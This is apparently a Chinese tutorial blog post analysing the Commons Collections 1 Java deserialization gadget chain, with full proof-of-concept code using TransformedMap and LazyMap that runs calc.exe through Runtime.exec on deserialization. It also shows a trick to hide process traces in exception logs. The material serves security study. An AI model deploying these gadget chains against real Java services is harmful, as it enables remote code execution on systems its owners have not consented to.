java反序列化之CommonCollections1利⽤链的学习

一、源起

1、代码示例

既然学习cc1链,那么总要先了解下cc1链能造成任意代码执行的原因,这里引用P神的代码来进行讲解:

ps:环境使用:

  • CommonsCollections <= 3.2.1
  • java < 8u71
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class ccTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),

        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");

    }
}

执行上述代码,就可以调用本机的计算器

2、代码类及方法解释

上述代码利用到了TransformedMap类和Transformer接口、ConstantTransformer类、InvokerTransformer类、ChainedTransformer类,我们先理解这几个类及接口的作用,再进一步理解造成cc1链的利用原理。

(1)TransformedMap类

TransformedMap用于对java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调。上述代码的中对InnerMap进行修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valuetransformer是处理新元素的value的回调。 这里多次说到“回调”,其实是一个实现Transformer接口的类

(2)Transformer 接口

Transformer是个接口,它只有一个待实现的方法:

public interface Transformer{
    public Object transform(Object input);

}

TransformedMap类在转换Map的新元素时,就会调用transform方法, 这个过程类似在调用一个“回调函数”,这个回调的参数就是原始对象

(3)ConstantTransformer类

ConstantTransformer类是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transformer方法将这个对象再返回。

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

其实作用就相当于包装任意一个对象, 在执行回调的时候返回这个对象,进而方便后续操作

(4)InvokerTransformer

InvokerTransformer是实现Transformer接口的一个类,,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
    super();
    iMethodName = methodName;
    iParamTtypes = paramTypes;
    iArgs = args;
}

后面的回调transformer方法,就是执行了input对象的iMethodName方法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

(5)ChainedTransformer类

ChainedTransformer 也是实现了 Transformer 接⼝的⼀个类,它的作⽤是将内部的多个 Transformer 串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

构造函数解析:

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

构造函数:

    • 参数: Transformer[] transformers
      • 这是一个 Transformer 对象的数组, 表示将要链式调用的转换器
    • super():
      • 调用父类的构造函数,确保父类的初始化
    • iTransformers = transformers;
      • 将传入的转换器数组赋值给类的实例变量 iTransformers 。这个变量用于存储所有的转换器,供后续的 transform 方法使用

tranform方法:

public Object transform(Object object){
    for ( int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
return object;
}

方法功能:

  • 参数: Object object
    • 这是要进行转换的对象,可以是任何类型
  • 方法流程:
    • 遍历iTransformers 数组: 使用for循环 遍历所有的 Transformer 对象
    • 逐个调用 transform 方法: 再循环中,对于当前的 Transformer(iTransformers[i]) 调用其 transform方法,并将结果赋值回 object,这意味这每次调用 transform 都会将当前对象进行转换,并更新object变量为转换后的值
    • 返回最终结果:循环结束后,返回经过所有转换器处理后的object

3、理解造成任意代码执行的原因

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),

        };
        Transformer transformerChain = new ChainedTransformer(transformers);

在上述代码中,创建了一个ChainedTransformer对象,其中包含两个Transformer:

  • 第一个是ConstantTransformer,返回的是当前环境的Runtime对象;
  • 第二个是InvokerTransformer,执行Runtime对象的exec方法,参数是 cale.exe

不过,这个生成的实例transformerChain只是一系列回调,我们需要用其包装一个Map

,使用前面说到的TransformedMap.decorate:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

那么触发回调也就是如之前所说的向Map中放入一个新元素即可,

outerMap.put("test", "xxxx");

至此,就是CC1链造成任意代码执行的一个原因了,当然这也是最简单的一部分了,经过P神的压缩再压缩,后续再深入研究下如何构造成反序列化的payload。

二、使用TransformedMap构造可用的POC

前面说到,触发漏洞的关键点是有个被TransformedMap修饰包装过的Map,同时需要更新这个Map的键值对。

在上述根因分析中,我们是通过手动执行outerMap.put("test","xxxx");来触发漏洞,但在实际反序列化时,我们需要找到一个类,它能在反序列化的readObject逻辑里有类似的写入操作。

当前分析的一个类就是 sun.reflect.annotation.AnnotationInvocationHandler, 分析它的readObject方法(如下是8u71之前的代码):

    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in
                    annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue :
                memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) { // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                        value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                            new AnnotationTypeMismatchExceptionProxy(
                                    value.getClass() + "[" + value + "]").setMember(
                                    annotationType.members().get(name)));
                }
            }
        }
    }

这里的关键点就是Map.Entry<String, Object> membervalue : memberValues.entrySet()  和memberValue.setValue(....)。 memberValues就是经过反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。 在调用setValue设置值的时候就会触发TransformedMap里注册的Transform(这部分就相当于我们手工执行插入Map元素的步骤),进而执行我们为其精心设计的任意代码。

所以,在构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将其前面构造的HashMap设置进来; 同时因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的 类,不能直接使用new来实例化。这里使用发射获取其构造方法,并将其设置成外部可见,再调用就可以实例化了。

值得注意的是,因为poc是经过序列化的,而在开始的实例demo中,Runtime类是没有实现 java.io.Serializable 接口的,故开始设置的Transformer[] 也需要通过反射实现;

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //返回个java.lang.Class对象
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };

。。。。。。。。
。。。。。。。。
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

我们在探讨下 AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个参数是前面构造的Map。那么为什么是Annotation类?为什么又需要使用Retention.class? 

在这里我们先结合开始的demo和上述修正后的部分代码,去执行看看,是否能达成我们想要的效果?

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

这时候执行,其实生成了序列化后的数据的,但是实际上并没有弹出电脑的计算器,故并没有达到想要的效果。

这个实际上和 AnnotationInvocationHandler 类的逻辑有关,我们可以动态调试就会发现,在
AnnotationInvocationHandler:readObject 的逻辑中,有一个 if 语句对 var7 进行判断,只有在其不
null 的时候才会进入里面执行 setValue ,否则不会进入也就不会触发漏洞:

那么如何让这个 var7 不为 null 呢?P神的解释是还会涉及到 Java 注释相关的技术。故直接给
出两个条件:
1、. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X
2、  被TransformedMap.decorate 修饰的Map 中必须有一个键名为 X 的元素
所以,这也解释了为什么前面用到 Retention.class ,因为 Retention 有一个方法,名为 value ;所
以,为了再满足第二个条件,需要给 Map 中放入一个 Key value 的元素:

public class CommonCollections1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},new String[]{"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);


        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);



        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

当然上述执行的poc生成序列化流,仅限于java 8u71之前的版本适用,后续官方已经做过修复,jdk8u/jdk8u/jdk: f8a528d0379d (openjdk.org)

改动后,不再直接 使用反序列化得到的Map 对象,而是新建了一个 LinkedHashMap 对象,并将原来的键值添加进去。
所以,后续对 Map 的操作都是基于这个新的 LinkedHashMap 对象,而原来我们精心构造的 Map 不再执 行set put 操作,也就不会触发 RCE 了。

三、使用LazyMap 构造可用的POC

在实际中,ysoserial构造CC1链是用LazyMap而不是TransformedMap,那么我们继续跟进用LazyMap构造一个可用的POC。

1、了解什么是LazyMap

LazyMap和TransformedMap类似,都是来自Common-Collections库,并继承AbstractMapDecorator。 LazyMap的漏洞触发点和TransformedMap唯一的区别就是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。 LazyMap的作用是 懒加载, 在get找不到值的时候,它会调用factory.transform方法去获取一个值。

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandler的 readObject方法中并没有直接调用到Map的get方法。

所以在ysoserial的利用链中,用AnnotationInvocationHandler类的invoke方法有调用到get:

那么继续进一步又如何能调用到 AnnotationInvocationHandler#invoke 呢?在ysoserial中是利用Java的对象代理。

2、了解对象代理

在 Java 中,代理(Proxy)模式是一种设计模式,通过它可以在不改变现有类的情况下扩展其功能。Java 提供了 java.lang.reflect.Proxy 类和 java.lang.reflect.InvocationHandler 接口来动态创建代理对象。

示例说明:

创建一个动态代理,它可以在对 Map 对象进行操作时记录操作日志。

1、定义InvocationHandler

首先,我们需要实现 InvocationHandler 接口,这个接口用于处理代理对象方法的调用。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class MapProxyHandler implements InvocationHandler {
    private final Map<String, String> originalMap;

    public MapProxyHandler(Map<String, String> originalMap){
        this.originalMap = originalMap;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
        //记录方法的调用
        System.out.println("调用的方法:" + method.getName());
        if (args != null){
            System.out.println("使用参数: ");
            for (Object arg : args){
                System.out.println(arg);
            }
        }

        //调用原始方法
        Object result = method.invoke(originalMap, args);

        //记录返回值
        System.out.println("返回值: " + result);
        return result;
    }
}

2、创建代理对象

接下来,我们使用 Proxy.newProxyInstance 方法来创建一个代理对象。这个方法需要三个参数:

  • 类加载器(ClassLoader):用于加载代理类。
  • 代理接口(Class<?>[]):代理类需要实现的接口。
  • InvocationHandler 实现:用于处理方法调用。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
import java.lang.reflect.Proxy;
import java.util.Map;
import java.util.HashMap;

public class MapProxyDemo {
    public static void main(String[] args) {
        //创建一个实际的Map对象
        Map<String, String> originalMap = new HashMap<String, String>();
        originalMap.put("key1", "value1");
        originalMap.put("key2", "value2");

        //创建一个 InvocationHandler实例
        MapProxyHandler  handler = new MapProxyHandler(originalMap);

        //创建代理对象
        Map<String, String> proxyMap = (Map<String, String>) Proxy.newProxyInstance(
                originalMap.getClass().getClassLoader(),
                new Class<?>[]{Map.class},
                handler
        );

        //使用代理对象
        System.out.println("key1 的 值为:" + proxyMap.get("key1"));
        proxyMap.put("key3", "value3");
        System.out.println("key3 的值为:" + proxyMap.get("key3"));
    }
}

3、代码解释

  1. MapProxyHandler:

    • 实现了 InvocationHandler 接口。
    • invoke 方法中,记录方法调用和返回值,然后调用实际的 Map 方法。
  2. MapProxyDemo:

    • 创建了一个实际的 Map 对象 originalMap
    • 实例化了 MapProxyHandler
    • 使用 Proxy.newProxyInstance 创建了一个代理对象 proxyMap,它实现了 Map 接口。
    • 使用代理对象执行操作,代理会在控制台上记录方法调用的信息。

4、运行结果

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类继承了InvocationHandler,我们如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,只要
调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的
LazyMap#get。

3、使用LazyMap构造利用链

参考TransformedMap的POC,进行修改,首先用LazyMap替换TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

紧接着,我们需要对 sun .reflect.annotation.AnnotationInvocationHandler 对象进行Proxy代理:

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

代理后的对象叫做proxyMap,但是这里不能直接对其进行序列化,因为触发入口是sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

所以最终构造的POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        Transformer  transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

4、其他说明

在上述poc中,其实对Transformer数组,为什么最后会增加一个 ConstantTransformer(1)

其实是为了隐藏异常日志中的一些信息。如果这里没有
ConstantTransformer ,命令进程对象将会被 LazyMap#get 返回,导致我们在异常信息里能看到这个 特征:

如果我们增加一个 ConstantTransformer(1) TransformChain 的末尾,异常信息将会变成
java.lang.Integer cannot be cast to java.util.Set ,隐蔽了启动进程的日志特征:

ps:当然即使使用LazyMap也仍然无法解决CommonCollections1这条利用链在高版本Java8u71以后)中的使用问题,因为使用逻辑不一样了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值